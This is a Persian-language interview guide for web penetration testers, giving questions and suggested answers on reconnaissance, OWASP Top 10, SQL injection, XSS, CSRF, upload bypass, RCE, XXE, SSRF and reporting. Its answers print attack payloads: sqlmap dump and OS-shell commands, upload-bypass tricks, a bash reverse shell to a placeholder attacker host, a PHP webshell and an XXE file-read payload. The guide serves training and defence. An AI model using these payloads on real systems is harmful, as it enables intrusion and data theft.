راهنمای مصاحبه تست نفوذ وب: سوالات و پاسخ‌های کلیدی

فهرست مطالب

مقدمه
سوالات سطح مبتدی
سوالات سطح حرفه ای

راهنمای مصاحبه تست نفوذ وب: سوالات و پاسخ‌های کلیدی

مقدمه

امنیت وب و تست نفوذ امروزه بخش جدایی‌ناپذیری از حفاظت از سیستم‌ها و داده‌هاست. اگر می‌خواهید وارد حوزه حرفه‌ای تست نفوذ وب شوید، مصاحبه شغلی اولیه قدم مهمی است. این راهنما سوالات رایج مصاحبه را با پاسخ‌های پیشنهادی پوشش می‌دهد تا آمادگی‌تان را افزایش دهید. از موضوعات فنی تا نکات ارتباطی، همه جنبه‌ها را بررسی می‌کنیم تا در مصاحبه عملکرد بهتری داشته باشید.

توجه: تمام پاسخ‌های ارائه‌شده پیشنهادی هستند و می‌توانید آن‌ها را بر اساس تجربیات خود تغییر دهید.

سوالات سطح مبتدی

🟩 برای مشاهده جواب سوالات روی آن کلیک کنید 🟩

1. تست نفوذ وب چیست و اهداف اصلی آن چیست؟

پروسه‌ای اخلاقی برای شبیه‌سازی حملات واقعی روی اپلیکیشن‌های وب است تا نقاط ضعف شناسایی شوند. اهداف اصلی شامل شناسایی آسیب‌پذیری‌ها (reconnaissance و Vulnerability discovery )، اکسپلویت و ارزیابی تاثیر (مانند exploitation و post-exploitation)، و ارائه گزارش با پیشنهادات remediation می‌شود.

2. قبل از شروع تست نفوذ به چه صورت Scope را مشخص می کنید؟

مشخص کردن scope قبل از قرارداد (SOW) بین شرکت تست و کارفرما انجام می‌شود که شامل دامنه‌ها، subdomainها، IPهای مجاز و محدودیت‌ها (مانند ممنوعیت DoS) است. قوانین engagement (RoE) جزئیاتی مانند زمان تست و out-of-scope (مانند production DB) را تعیین می‌کند. اگر scope تغییر کند، باید قرارداد به‌روزرسانی شود.

3. تفاوت بین روش‌های تست جعبه سیاه، جعبه خاکستری و جعبه سفید در تست نفوذ وب چیست؟

در تست نفوذ وب، روش‌های جعبه سیاه، خاکستری و سفید بر اساس سطح دسترسی به اطلاعات هدف، تفاوت‌های اساسی دارند و هر کدام کاربردهای خاصی را پوشش می‌دهند.

جعبه سیاه (Black Box): نوعی تست است که بدون هیچ دانشی از ساختار داخلی هدف (مانند کد منبع یا معماری سیستم) انجام می‌شود. فقط اطلاعات سطحی مانند URL یا دامنه در دسترس است، شبیه به دیدگاه یک هکر خارجی که از بیرون حمله می‌کند. این روش بر روی رفتار خارجی اپلیکیشن تمرکز دارد و برای ارزیابی امنیت کلی در سناریوهای واقعی مناسب است، اما ممکن است آسیب‌پذیری‌های داخلی را از دست بدهد.

جعبه خاکستری (Gray Box): رویکردی ترکیبی است که اطلاعات جزئی و محدود (مانند credentials تست، schema دیتابیس یا نقش‌های کاربری) ارائه می‌شود. مثلاً با استفاده از login به پنل ادمین، می‌توانید WAF را bypass کنید یا رفتارهای خاص را شبیه‌سازی نمایید. این روش واقع‌گرایانه‌تر است و تعادلی بین سرعت و عمق ایجاد می‌کند، اما نیاز به مدیریت دقیق scope دارد تا از افشای بیش از حد جلوگیری شود.

جعبه سفید (White Box): روشی جامع است که دسترسی کامل به کد منبع، اسناد فنی، سرورها و محیط داخلی دارید. مثلاً با code review می‌توانید آسیب‌پذیری‌هایی مانند buffer overflow یا منطق ضعیف در الگوریتم‌ها را شناسایی کنید. این رویکرد برای کشف عمیق‌ترین نقاط ضعف ایده‌آل است، اما زمان‌بر و پرهزینه‌تر است و ممکن است کمتر شبیه به حملات واقعی باشد.

4. شناسایی (Reconnaissance) در تست نفوذ وب چیست؟ ابزارها کدامند؟

Reconnaissance

اولین و مهم‌ترین مرحله است که جمع‌آوری اطلاعات از هدف را شامل می‌شود.در این مرحله ما با استفاده از تکنیک های ریکان سعی میکنیم دارایی های مربوط به سازمان رو شناسایی کنیم تا بتونیم با استفاده از خروجی این مرحله تحلیل انجام بدیم و متودلوژی بررسی اسیب پذیری هارو طبق ساختاری که از هدف شناسایی کردیم بسازیم.

انواع:

Passive: بدون تماس مستقیم (Shodan, Google Dorks, Provider discovery)
Active: با تماس (DNS-Brute, Nmap, DNS lookup, Fuzzing)

ابزارهای کلیدی:

ابزار	کاربرد
Dns-Brute	subdomain enumeration
Amass	OSINT پیشرفته
Nmap	port scanning
Shodan	دستگاه‌های متصل به اینترنت
theHarvester	ایمیل، hostname

5. در فرآیند تست نفوذ وب از چه ابزارهایی در چه مرحله‌ای استفاده می‌کنید؟

فرآیند تست نفوذ وب بر اساس مدل PTES (Penetration Testing Execution Standard) شامل ۷ مرحله است. در هر مرحله، ابزارهای تخصصی استفاده می‌شود:

مرحله	ابزارهای کلیدی	کاربرد
Reconnaissance	Nmap, Sublist3r, Amass, Shodan	جمع‌آوری اطلاعات (subdomain, IP, tech stack)
Scanning	Nikto, OpenVAS, Nessus, Gobuster	اسکن آسیب‌پذیری و directory enumeration
Vulnerability Assessment	Burp Suite, OWASP ZAP, Nuclei	تست دستی و خودکار وب
Exploitation	SQLMap, Metasploit, Custom Scripts	بهره‌برداری از آسیب‌پذیری‌ها
Post-Exploitation	Meterpreter, PowerShell Empire	حفظ دسترسی، privilege escalation
Reporting	Dradis, KeepNote, Markdown	مستندسازی یافته‌ها و PoC

نکته عملی: همیشه از Burp Suite به عنوان ابزار مرکزی (proxy + scanner + repeater) استفاده کنید.
پیشنهاد: یک pipeline خودکار با Nuclei + SQLMap + Gobuster بسازید.

6. ده آسیب‌پذیری OWASP Top 10 چیست؟ کدام‌ها را کشف کردید و چند نمونه ذکر کنید؟

لیستی از ده دسته‌بندی اصلی آسیب‌پذیری‌های وب است که توسط بنیاد OWASP هر چهار سال یک‌بار منتشر می‌شود (نسخه ۲۰۲۱). این لیست بر اساس داده‌های واقعی از هزاران اپلیکیشن و گزارش‌های امنیتی تهیه شده و اولویت‌بندی می‌کند تا توسعه‌دهندگان و تیم‌های امنیتی روی مهم‌ترین تهدیدها تمرکز کنند. در ادامه، هر دسته را با یک مثال عملی توضیح می‌دهم:

شماره	عنوان (انگلیسی)	توضیح مختصر	مثال عملی
1	Broken Access Control	عدم کنترل صحیح دسترسی کاربران	تغییر `?user_id=123` به `?user_id=124` و مشاهده پروفایل کاربر دیگر (IDOR)
2	Cryptographic Failures	ضعف در رمزنگاری یا مدیریت کلیدها	استفاده از MD5 برای هش پسورد یا عدم فعال‌سازی HSTS
3	Injection	تزریق کد مخرب در ورودی‌ها	وارد کردن `' OR '1'='1` در فرم لاگین (SQL Injection)
4	Insecure Design	نقص در طراحی اولیه سیستم	عدم پیاده‌سازی rate limiting در فرآیند ثبت‌نام
5	Security Misconfiguration	تنظیمات نادرست امنیتی	فعال بودن directory listing یا default credentials
6	Vulnerable and Outdated Components	استفاده از کتابخانه‌های قدیمی	jQuery نسخه ۱.۹ با CVE شناخته‌شده
7	Identification and Authentication Failures	ضعف در احراز هویت	امکان brute-force بدون CAPTCHA یا session fixation
8	Software and Data Integrity Failures	عدم تضمین یکپارچگی کد/داده	آپدیت خودکار از منبع ناامن (CI/CD poisoning)
9	Security Logging and Monitoring Failures	عدم ثبت یا نظارت بر رویدادها	عدم log شدن لاگین‌های ناموفق
10	Server-Side Request Forgery (SSRF)	درخواست جعلی از سمت سرور	وارد کردن `http://169.254.169.254/latest/meta-data` در فیلد URL

شما میتواند مثل مثال زیر از تجربیات خودتان صبحت کنید:

تجربه شخصی من: در پروژه‌های واقعی، بیشترین آسیب‌پذیری‌هایی که کشف کردم شامل SQL Injection (مثلاً در پارامترهای جستجو)، XSS (Reflected) (در پیام‌های ارسالی کاربران) و Broken Authentication (مانند عدم expiration session) بوده است.

منابع برای مطالعه بیشتر:

وب‌سایت رسمی اواسپ: https://owasp.org/Top10

7. فرض کنید سایتی آسیب‌پذیری SQLi دارد؛ چه مراحلی برای کشف و اکسپلویت انجام می‌دهید؟

برای شناسایی و بهره‌برداری از آسیب‌پذیری SQL Injection، یک فرآیند ساختاریافته و مرحله‌به‌مرحله دنبال می‌کنم که شامل تشخیص دستی، تأیید خودکار و بهره‌برداری پیشرفته است. در ادامه، هر مرحله را با مثال عملی و ابزار پیشنهادی توضیح می‌دهم:

مرحله ۱: تشخیص دستی (Manual Detection)

ابتدا ورودی‌های کاربر (مانند فرم لاگین، جستجو، پارامترهای URL) را با کاراکتر های ساده مثل تک کوتیشن تست میکنم تا error-based بودن رو تست کنم و بعدش payloadهای ساده تست می‌کنم:

نوع SQLi	Payload نمونه	رفتار مورد انتظار
Error-based	`' OR '1'='1`	نمایش خطای دیتابیس (مثل `You have an error in your SQL syntax`)
Union-based	`' UNION SELECT 1,2,3-- -`	نمایش داده‌های اضافی در خروجی
Time-based	`' AND IF(1=1, SLEEP(5), 0)-- -`	تأخیر ۵ ثانیه‌ای در پاسخ
Blind Boolean	`' AND 1=1-- -` vs `' AND 1=2-- -`	تفاوت در محتوای صفحه

مرحله ۲: تأیید و fuzzing خودکار

اگر نشانه‌ای از SQLi دیدم، از Burp Suite استفاده می‌کنم:

درخواست را به Intruder می‌فرستم.
پارامتر مشکوک را با $ علامت‌گذاری می‌کنم.
از لیست payloadهای SQLi (مثل sqlmap.txt یا SecLists) برای fuzzing استفاده می‌کنم.
پاسخ‌ها را بر اساس طول پاسخ، زمان تأخیر یا محتوای متفاوت فیلتر می‌کنم.

مرحله ۳: بهره‌برداری خودکار (Exploitation)

اگر اسیب پذیری رو پیدا کنم از SQLMap برای استخراج کامل اطلاعات و اکسپلویتیشن استفاده می‌کنم:

# اسکن اولیه
sqlmap -u "http://example.com/user.php?id=1" --batch --dbs

# استخراج جداول و ستون‌ها
sqlmap -u "http://example.com/user.php?id=1" -D webapp --tables

# دامپ داده‌ها
sqlmap -u "http://example.com/user.php?id=1" -D webapp -T users --dump

قابلیت‌های پیشرفته:

--tamper=space2comment برای بایپس WAF

--proxy=http://127.0.0.1:8080 برای استفاده با Burp

--os-shell برای آپلود شل (در صورت امکان)

ابزارهایی که مینوان استفاده کرد:

ابزار	کاربرد
Burp Suite	تشخیص دستی، fuzzing، تحلیل پاسخ
SQLMap	بهره‌برداری خودکار، دامپ دیتابیس
NoSQLMap	تست NoSQL Injection (MongoDB, CouchDB)
SecLists	لیست payloadهای آماده برای fuzzing

منابع برای تمرین بیشتر:

محیط آزمایشی: DVWA یا OWASP Juice Shop

ابزار اس کیو ال مپ: github.com/sqlmapproject/sqlmap

لیستی از پیلودها: github.com/payloadbox/sql-injection-payload-list

8. با SQLMAP آشنا هستید؟ کار tamper چیست؟ چند تا Tamper را نام ببرید.

بله، tamper مجموعه‌ای از اسکریپت‌های پایتون در SQLMap است که payload تزریقی را قبل از ارسال به سرور تغییر شکل می‌دهند تا WAF (فایروال اپلیکیشن وب) را بایپس کنند. این تغییر شامل رمزنگاری، جایگزینی کاراکترها، افزودن نویز یا شکستن الگوهای مشکوک می‌شود.

نمونه‌های کاربردی از tamperها:

نام tamper	عملکرد	مثال قبل از اعمال	مثال بعد از اعمال
`base64encode`	کل payload را به Base64 تبدیل می‌کند	`' OR 1=1--`	`JysgT1IgMT0xLS0=`
`charencode`	کاراکترها را به Hex/URL encode تبدیل می‌کند	`' UNION SELECT`	`%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54`
`space2comment`	فاصله‌ها را با `/**/` جایگزین می‌کند	`' OR 1=1`	`'//OR//1=1`
`between`	بین کاراکترها random character اضافه می‌کند	`' AND 1=1`	`'A BETWEEN 'x' AND 'y' AND 1=1`
`space2randomblank`	فاصله را با blankهای تصادفی (tab،newline و ...) جایگزین می‌کند	`' OR 1=1`	`'[TAB]OR[NEWLINE]1=1`
`apostrophemask`	آپاستروف را با UTF-8 encoding مخفی می‌کند	`' OR '1'='1`	`%ef%bc%87 OR %ef%bc%871%ef%bc%87=%ef%bc%871`

نحوه استفاده در SQLMap:

# استفاده از یک tamper
sqlmap -u "http://site.com/vuln.php?id=1" --tamper=space2comment

# استفاده همزمان از چند tamper
sqlmap -u "http://site.com/vuln.php?id=1" --tamper=base64encode,space2comment

# اعمال تمام tamperهای موجود
sqlmap -u "http://site.com/vuln.php?id=1" --tamper=*

منابع برای مطالعه بیشتر:

مستندات رسمی tamperها: github.com/sqlmapproject/sqlmap/wiki/Tamper-scripts

لیست کامل tamperها: sqlmap/tamper/ در ریپازیتوری

تمرین عملی: در DVWA یا WebGoat با WAF فعال تست کنید

9. حمله XSS چیست؟ نحوه جلوگیری از آن را بگویید.

حمله‌ای است که هکر اسکریپت مخرب را در صفحه تزریق می‌کند تا cookieها را بدزدد.

انواع: Reflected (در URL)، Stored (در DB)، DOM-based (در JS). برای جلوگیری، input validation (sanitize chars)، output encoding (مانند HTML entities) و CSP header استفاده کنید.

10. حمله CSRF چیست؟ چگونه کشف می کنید؟ چگونه می توان از آن جلوگیری کرد؟

حمله CSRF (Cross-Site Request Forgery) نوعی تهدید است که browser کاربر را فریب می‌دهد تا درخواست ناخواسته (مانند تغییر پسورد، انتقال وجه یا حذف حساب) را بدون آگاهی او به سرور ارسال کند. این حمله زمانی موفق می‌شود که کاربر قبلاً احراز هویت شده باشد و سرور نتواند تشخیص دهد درخواست از منبع معتبر آمده یا خیر.

روش‌های کشف:

درخواست‌های حساس (مانند POST/GET در فرم‌ها) را بدون CSRF token تکرار کنید.
بررسی کنید آیا سرور Referer یا Origin header را اعتبارسنجی می‌کند یا خیر.
تست با تغییر method (مثلاً POST به GET) یا حذف cookieهای session.

راه‌های جلوگیری:

CSRF Token: توکن تصادفی و منحصر به هر session که در هر فرم/درخواست قرار گیرد.
SameSite Cookies: تنظیم کوکی‌ها به Lax یا Strict برای محدود کردن ارسال در درخواست‌های cross-site.
اعتبارسنجی Referer/Origin: اطمینان از مطابقت دامنه درخواست با دامنه اصلی.
استفاده از Custom Header: افزودن هدر دلخواه (مانند X-CSRF-Token) که فقط از طریق JavaScript داخلی قابل ارسال باشد.

نکته کلیدی: CSRF در برابر کاربران احراز هویت‌شده خطرناک است و با ترکیب XSS قابل تشدید است.

11. چند روش برای بایپس آپلودر بلد هستید؟ هر کدام را شرح دهید.

آپلودرهای وب معمولاً با بررسی پسوند فایل، MIME type یا محتوای فایل، از آپلود شل جلوگیری می‌کنند. در ادامه، روش‌های رایج بایپس این محدودیت‌ها آورده شده است:

روش	توضیح	مثال
تغییر پسوند (Extension Manipulation)	استفاده از پسوندهای دوگانه یا مجاز	`shell.php.jpg` یا `shell.php.png`
Null Byte Injection	استفاده از `%00` برای قطع رشته در زبان‌های قدیمی (PHP < 5.3.4)	`shell.php%00.jpg`
تغییر MIME Type	تغییر هدر `Content-Type` در درخواست به نوع مجاز	`image/jpeg` یا `image/png` (با Burp)
حساسیت به حروف بزرگ/کوچک (Case Sensitivity)	بهره‌برداری از عدم یکسان‌سازی حروف در سرور	`shell.PhP` یا `shell.pHp`
آپلود .htaccess	آپلود فایل تنظیمات برای تغییر رفتار سرور	محتوای فایل: `AddType application/x-httpd-php .jpg`

نکته اجرایی: تمام روش‌ها را با تغییر درخواست در Burp Suite (در تب Repeater یا Intruder) تست کنید. پس از آپلود، فایل را در مسیرهای مختلف (مانند /uploads/) جستجو کنید.

پیشنهاد: همیشه با فایل‌های تست ساده (مثل <?php echo "test"; ?>) شروع کنید و از اسکنرهای خودکار مانند Nikto یا Dirb برای یافتن مسیر آپلود استفاده کنید.

12. مشکل misconfiguration در وب چیست؟ چگونه کشف می کنید؟

Security Misconfiguration (OWASP A05): زمانی رخ می‌دهد که تنظیمات امنیتی سیستم به درستی پیکربندی نشده باشند و نقاط ضعفی مانند دسترسی غیرمجاز، افشای اطلاعات یا بهره‌برداری آسان ایجاد کنند.

نمونه‌های رایج:

استفاده از default credentials (مانند admin/admin یا root/toor)
software outdated با آسیب‌پذیری شناخته‌شده (مثل Apache 2.2.x)
exposed directories (مانند /admin/، .git/، backup/)
directory listing فعال
debug mode یا error messages با اطلاعات حساس

روش‌های کشف:

روش	ابزار	مثال
بررسی دستی	مرورگر / curl	چک `robots.txt`، `sitemap.xml`، `.env`، `.git/HEAD`
اسکن خودکار	Nikto	`nikto -h https://site.com`
Banner Grabbing	Nmap	`nmap -sV --script=banner site.com`
Brute-force Credentials	Hydra / Medusa	`hydra -l admin -P wordlist.txt site.com http-post-form`
Directory Enumeration	Gobuster / Dirb	`gobuster dir -u https://site.com -w common.txt`

13. حمله Clickjacking چیست؟ نحوه جلوگیری از آن را شرح دهید.

حمله Clickjacking نوعی تهدید است که با استفاده از iframe پنهان (با opacity صفر یا موقعیت خارج از دید)، کاربر را فریب می‌دهد تا روی عنصر مخرب (مانند دکمه لایک، انتقال وجه یا تأیید حذف) کلیک کند، بدون اینکه متوجه شود.

مکانیزم حمله:

مهاجم یک صفحه مخرب می‌سازد و iframe را روی سایت هدف قرار می‌دهد.
کاربر فکر می‌کند روی دکمه‌ای در صفحه مخرب کلیک می‌کند، اما در واقع روی عنصر سایت اصلی کلیک کرده است.
این حمله در برابر کاربران احراز هویت‌شده مؤثر است.

روش‌های جلوگیری:

روش	توضیح
X-Frame-Options	هدر HTTP که مرورگر را از قرار دادن صفحه در iframe منع می‌کند. مقادیر: `DENY` (کاملاً ممنوع)، `SAMEORIGIN` (فقط در همان دامنه)
CSP frame-ancestors	سیاست امنیتی محتوا که مشخص می‌کند چه دامنه‌هایی اجازه فریم کردن صفحه را دارند. مثال: `frame-ancestors 'self'`
JavaScript Frame-Busting	اسکریپت جاوااسکریپت برای جلوگیری از فریم شدن (کمتر توصیه می‌شود، قابل دور زدن است)

نکته کلیدی: ترکیب X-Frame-Options و CSP بهترین دفاع را ایجاد می‌کند. این حمله با XSS قابل تشدید است.

14. چگونه مکانیسم‌های User Authentication و Session Management را تست می‌کنید؟

احراز هویت و مدیریت session دو ستون اصلی امنیت وب هستند. تست آن‌ها شامل بررسی نقاط ضعف در ورود، نگهداری و خروج کاربر است.

تست احراز هویت (Authentication):

تست	ابزار	هدف
Brute-force Attack	Hydra, Burp Intruder	بررسی عدم وجود rate limiting
Weak Password Policy	دستی	تست پسوردهای ساده مثل `123456`
Credential Stuffing	لیست نشت‌شده	استفاده از ایمیل/پسوردهای واقعی
Password Reset Poisoning	Burp	دستکاری host header در ایمیل ریست

تست مدیریت session (Session Management):

تست	ابزار	هدف
Session Fixation	دستی	استفاده از session ID قبل از لاگین
Session Hijacking	Wireshark, Burp	بررسی عدم استفاده از HTTPS
Cookie Attributes	Burp	چک `Secure`, `HttpOnly`, `SameSite`
Session Timeout	Burp Repeater	بررسی انقضا پس از بی‌فعالی
Concurrent Logins	چند تب	تست اجازه ورود همزمان

ابزارهای پیشنهادی: Burp Suite (Sequencer برای entropy)، Hydra، OWASP ZAP
نکته: همیشه با logout کامل و تخلیه کوکی‌ها تست کنید.

15. آسیب‌پذیری IDOR چیست؟ چگونه آن را کشف و اکسپلویت می‌کنید؟

IDOR (Insecure Direct Object Reference):

نوعی نقص در کنترل دسترسی است که اجازه می‌دهد کاربر به منابع دیگران (مانند پروفایل، سفارش، فایل) با تغییر شناسه دسترسی پیدا کند.

انواع IDOR:

Horizontal: دسترسی به داده‌های کاربر هم‌سطح (مثل پروفایل کاربر دیگر)
Vertical: دسترسی به داده‌های سطح بالاتر (مثل ادمین)

روش‌های کشف:

روش	مثال
تغییر پارامتر	`user_id=123` → `user_id=124`
تغییر JSON	`"order_id": 100` → `"order_id": 101`
تغییر مسیر	`files/123.pdf` → `/files/124.pdf/`
استفاده از UUID	تغییر بخش آخر UUID

اکسپلویت:

با Burp Intruder، لیست IDها را fuzz کنید.
از wordlist شامل اعداد ترتیبی، UUID، یا خروجی reconnaissance استفاده کنید.
اگر دسترسی به ادمین گرفتید → Privilege Escalation.

ابزار: Burp Suite, ffuf, Arjun (برای پیدا کردن پارامترهای مخفی)
پیشنهاد: همیشه نقش‌های مختلف (کاربر عادی، ادمین، مهمان) را تست کنید.

16. آسیب‌پذیری RCE چیست؟ چه زمانی رخ می‌دهد؟ چگونه آن را کشف و اکسپلویت می‌کنید؟

RCE (Remote Code Execution):

جدی‌ترین نوع آسیب‌پذیری است که اجازه اجرای کد دلخواه روی سرور را به مهاجم می‌دهد.

شرایط وقوع:

ورودی کاربر sanitized نشود و مستقیماً به ()system(), eval یا ()exec برود.
آپلود فایل بدون فیلتر محتوا.
استفاده از deserialization ناامن.

روش‌های کشف:

نوع	مثال
Command Injection	`; id` یا `
File Upload	آپلود `shell.php` با bypass
Log Poisoning	تزریق کد در لاگ و سپس include
Deserialization	payload ysoserial در object

اکسپلویت:

با reverse shell (مثل bash -i >& /dev/tcp/attacker/4444 0>&1)
استفاده از Metasploit یا Netcat
آپلود webshell (مثل <?php system($_GET['cmd']); ?>)

17. مشکل امنیتی Sensitive Data Exposure چیست؟ با چه تست‌هایی چک می‌کنید؟

Sensitive Data Exposure (OWASP A02):

زمانی است که داده‌های حساس (پسورد، کارت اعتباری، اطلاعات شخصی) بدون حفاظت کافی ذخیره یا منتقل شوند.

نمونه‌های رایج:

انتقال داده در HTTP (نه HTTPS)
ذخیره پسورد به صورت plain text
افشای API keys در کد یا response
Backup files با داده حساس

تست‌های پیشنهادی:

تست	ابزار
چک HTTPS	SSL Labs, testssl.sh
جستجوی داده در response	Burp Suite (Search)
فایل‌های پشتیبان	Gobuster با wordlist backup
کد منبع	GitHub dorks, .git exposure
API endpoints	Postman, Burp

پیشنهاد: همیشه response headers را برای Server, X-Powered-By چک کنید.
ابزار اضافی: Shodan, HaveIBeenPwned

18. عبارت Input Validation توضیح دهید؟ چگونه دور می‌زنید؟

Input Validation:

فرآیندی است که ورودی کاربر را قبل از پردازش، از نظر نوع، طول، فرمت و محتوای مجاز بررسی می‌کند.

انواع اعتبارسنجی:

Client-side: با JavaScript (قابل دور زدن)
Server-side: با کد سرور (حتمی)

روش‌های دور زدن:

روش	توضیح
تغییر درخواست	حذف یا تغییر فیلد در Burp
Encoding	URL encode, Double encode
WAF Bypass	استفاده از comments, case variation
Parameter Pollution	تکرار پارامتر (`id=1&id=2`)

نکته: همیشه هر دو سمت را تست کنید.
ابزار: Burp Repeater, Encoder

19. حمله XXE چیست؟ چگونه می‌توان جلوگیری کرد؟

XXE (XML External Entity):

حمله‌ای است که با سوءاستفاده از parser XML، اجازه خواندن فایل‌ها، درخواست‌های داخلی یا DoS را می‌دهد.

مثال payload:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<user>&xxe;</user>

روش‌های جلوگیری:

غیرفعال کردن external entities در parser
استفاده از JSON به جای XML
Whitelist مجاز برای DTD
به‌روزرسانی parser

ابزار تست: Burp Collaborator, XXE payloads
نکته: در APIهای SOAP و SVG رایج است.

20. نحوه تست روی Restful APIها را شرح دهید.

تست API شامل بررسی احراز هویت، دسترسی، ورودی و خروجی است.

مراحل تست:

کشف endpointها: با Swagger, Postman, Burp Spider
تست احراز هویت: JWT, OAuth, API Key
تست دسترسی: IDOR, Over-privileged roles
تست ورودی: Injection, Mass Assignment
تست خروجی: Information Disclosure, Error Handling

ابزارها:

ابزار	کاربرد
Postman	تست دستی
Burp Suite	proxy و fuzzing
OWASP ZAP	اسکن خودکار
Kiterunner	brute-force API paths

پیشنهاد: از OWASP API Security Top 10 استفاده کنید.

21. حمله SSRF چیست؟ چگونه می‌توان جلوی آن را گرفت؟

SSRF (Server-Side Request Forgery)

حمله‌ای است که سرور را وادار می‌کند درخواست به منابع داخلی یا خارجی بفرستد.

اهداف رایج:

دسترسی به http://169.254.169.254 (metadata AWS)
اسکن شبکه داخلی
خواندن فایل‌های محلی

جلوگیری:

Whitelist مجاز برای URL
مسدود کردن پروتکل‌های غیرضروری (file://, gopher://)
اعتبارسنجی ورودی
شبکه‌سازی مناسب (firewall)

ابزار: Burp Collaborator برای blind SSRF

22. آسیب‌پذیری‌های متداول Business Logic را شرح دهید. چطور تست می‌گیرید؟

Business Logic Flaws:

نقص‌هایی در گردش کار کسب‌وکار هستند که با دور زدن مراحل، بهره‌برداری می‌شوند.

نمونه‌ها:

خرید با قیمت منفی
ثبت‌نام چندباره برای تخفیف
تغییر مقدار سفارش پس از پرداخت

روش تست:

نقشه‌برداری جریان (UML, Sequence Diagram)
سناریوسازی برای هر مرحله
تست با چند حساب همزمان
استفاده از Burp Macro

نکته: نیاز به درک عمیق کسب‌وکار دارد.

23. ضعف‌های Cryptographic (OWASP A02) چیست؟ چطور تست می‌کنید؟

Cryptographic Failures:

این تاپیک شامل استفاده نادرست از رمزنگاری است.

نمونه‌ها:

هش با MD5/SHA1
کلیدهای سخت‌کد شده
عدم استفاده از TLS

تست‌ها:

تست	ابزار
SSL/TLS	SSL Labs, testssl.sh
هش پسورد	CrackStation, Hashcat
کلیدها در کد	Gitrob, TruffleHog
HSTS	Burp, curl

24. آسیب‌پذیری Vulnerable and Outdated Components (OWASP A06) چیست؟ چگونه کشف می‌کنید؟

استفاده از کتابخانه‌های قدیمی با CVE شناخته‌شده.

روش کشف:

Wappalyzer: تشخیص فناوری
Retire.js: اسکن JS
OWASP Dependency-Check: برای Java/.NET
NPM Audit: برای Node.js

25. Misconfiguration CORS چیست؟ چگونه بایپس می‌کنید؟

CORS (Cross-Origin Resource Sharing):

تنظیماتی است که مشخص می‌کند چه دامنه‌هایی اجازه دسترسی به منابع را دارند. اگر به درستی کانفیگ نشود میتواند با اسیب پذیریی های دیگه مرج شود و منجر به حملات پیشرفته شود.

تنظیمات خطرناک:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true با *

تست:

Origin: http://evil.com

اگر پاسخ شامل Access-Control-Allow-Origin: http://evil.com باشد → آسیب‌پذیر.

جلوگیری: فقط دامنه‌های مجاز را whitelist کنید.

26. هدرهای امنیتی HTTP چیست؟ اهمیت آن‌ها چقدر است؟

هدرهای HTTP که امنیت مرورگر را افزایش می‌دهند:

هدر	عملکرد
HSTS	اجبار HTTPS
X-Content-Type-Options	جلوگیری از MIME sniffing
X-Frame-Options	جلوگیری از Clickjacking
CSP	کنترل منابع قابل بارگذاری
Referrer-Policy	کنترل اطلاعات ارجاع

تست: securityheaders.com

27. Rate Limiting و Brute Force Protection چطور تست می‌کنید؟

Rate Limiting:

محدودیت تعداد درخواست در بازه زمانی است. ریتلیمت بسیار مهم است و در صورت نداشتن کانفیگ و تنظیمات درست این اسیب پذیری میتواند بسیار جدی باشد و سازمان هارا بصورت جدی تهدید کند. نبود محدودیت در درخواست در بازه زمانی مشخص میتواند زمینه ایجاد و اجرای اکسپلویت هارا هم فراهم کند.

تست:

با Burp Turbo Intruder یا Hydra، ۱۰۰ درخواست در ۱ ثانیه ارسال کنید.
بررسی lockout پس از N تلاش ناموفق.
تست CAPTCHA و 2FA.

پیشنهاد: حداقل ۵ تلاش قبل از lockout و ۳۰ ثانیه تأخیر.

28. Logging and Monitoring Failures (OWASP A09) چیست؟

عدم ثبت یا نظارت بر رویدادهای امنیتی.

تست:

تزریق payload و بررسی عدم وجود log
تلاش لاگین ناموفق → آیا هشدار ارسال می‌شود؟
بررسی SIEM یا ELK Stack

پیشنهاد: لاگ‌های لاگین، خطا و دسترسی را فعال کنید.

29. حمله Web Cache Deception چیست؟ چگونه کشف و جلوگیری می‌شود؟

Web Cache Deception

حمله‌ای است که با فریب سیستم کش، محتوای حساس یا دینامیک (مانند پروفایل کاربر) را به عنوان فایل استاتیک (مثل CSS یا JPG) ذخیره می‌کند و به کاربران دیگر نشان می‌دهد. این حمله ناشی از عدم تطابق بین مسیر URL و نوع محتوای واقعی است و می‌تواند منجر به افشای اطلاعات خصوصی شود.این حمله میتواند به اکانت تیک اور منجر شود.

کشف:

URL دینامیک را با پسوند استاتیک تست کنید (مثل /profile.jpg).
بررسی کنید آیا پاسخ کش‌شده عمومی است یا خیر.
از ابزارهایی مثل Burp Suite برای چک هدرهای Cache-Control استفاده کنید.

جلوگیری:

محتوای حساس را با Cache-Control: private یا no-cache تنظیم کنید.
مسیرهای URL را طوری طراحی کنید که دینامیک و استاتیک جدا باشند.
از Vary header برای تمایز بر اساس user-agent یا cookie استفاده کنید.

ابزار: Burp Suite, Cache-Key Inspector
نکته: این حمله اغلب با Misconfiguration ترکیب می‌شود و در CDNها رایج است.

30. آسیب‌پذیری Deserialization چیست؟ چگونه کشف و اکسپلویت می‌کنید؟

Deserialization:

تبدیل داده سریال‌شده (JSON, XML, Pickle) به object است.

خطر:

اجرای کد مخرب هنگام deserialize

کشف:

جستجوی O: یا java.util در درخواست
تست با ysoserial

اکسپلویت:

ساخت payload با ysoserial
ارسال در cookie یا parameter

جلوگیری: عدم deserialize داده‌های کاربر، استفاده از JSON

31. حمله Command Injection چیست؟ چه زمانی رخ می‌دهد؟ چگونه کشف و اکسپلویت می‌کنید؟

Command Injection:

تزریق دستورات سیستم‌عامل در ورودی است.

شرایط:

استفاده از ()system(), exec بدون sanitize

کشف:

ورودی با ; id, | whoami, && ls

جلوگیری: whitelist دستورات، escape کاراکترها

32. برای گزارش‌نویسی چه مواردی را در نظر می‌گیرید؟

گزارش حرفه‌ای شامل سه بخش اصلی است:

۱. خلاصه مدیریتی (Executive Summary):

سطح ریسک کلی
تعداد آسیب‌پذیری‌های Critical/High
تأثیر بر کسب‌وکار

۲. جزئیات فنی (Technical Findings):

بخش	محتوا
عنوان	نام آسیب‌پذیری + CVSS
توضیح	چگونگی وقوع
PoC	اسکرین‌شات، کد، ویدیو
تأثیر	دسترسی، افشا، RCE
پیشنهاد رفع	کد، تنظیمات، پچ

۳. پیوست‌ها:

ابزارها، scope، timeline

ابزار: Dradis, Serif, Markdown + Screenshots
استاندارد: CVSS v3.1, OWASP

سوالات سطح حرفه ای

1. تجربه شرکت در پروژه Large Scale تست نفوذ را داشتید؟ به چه صورت این پروژه را مدیریت کردید؟

